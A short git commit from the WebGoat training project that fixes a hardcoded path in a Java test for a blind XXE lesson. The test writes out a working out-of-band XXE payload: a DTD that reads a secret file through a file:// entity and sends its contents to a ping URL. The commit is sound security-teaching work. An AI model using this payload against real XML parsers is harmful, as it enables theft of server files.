Test failed due to hardcoded path

This commit is contained in:
Nanne Baars 2017-05-21 12:46:10 +02:00
parent 877de6ebd4
commit edea515564

View File

@ -67,7 +67,7 @@ public class BlindSendFileAssignmentTest extends LessonTest {
public void solve() throws Exception { public void solve() throws Exception {
File file = new File(webGoatHomeDirectory, "XXE/attack.dtd"); File file = new File(webGoatHomeDirectory, "XXE/attack.dtd");
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" + String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<!ENTITY % file SYSTEM \"file:///home/nbaars/.webgoat/XXE/secret.txt\">\n" + "<!ENTITY % file SYSTEM \"file:///" + webGoatHomeDirectory + "/XXE/secret.txt\">\n" +
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:" + localPort + "/WebGoat/XXE/ping?text=%file;'>\">\n" + "<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:" + localPort + "/WebGoat/XXE/ping?text=%file;'>\">\n" +
"%all;"; "%all;";
Files.write(dtd.getBytes(), file); Files.write(dtd.getBytes(), file);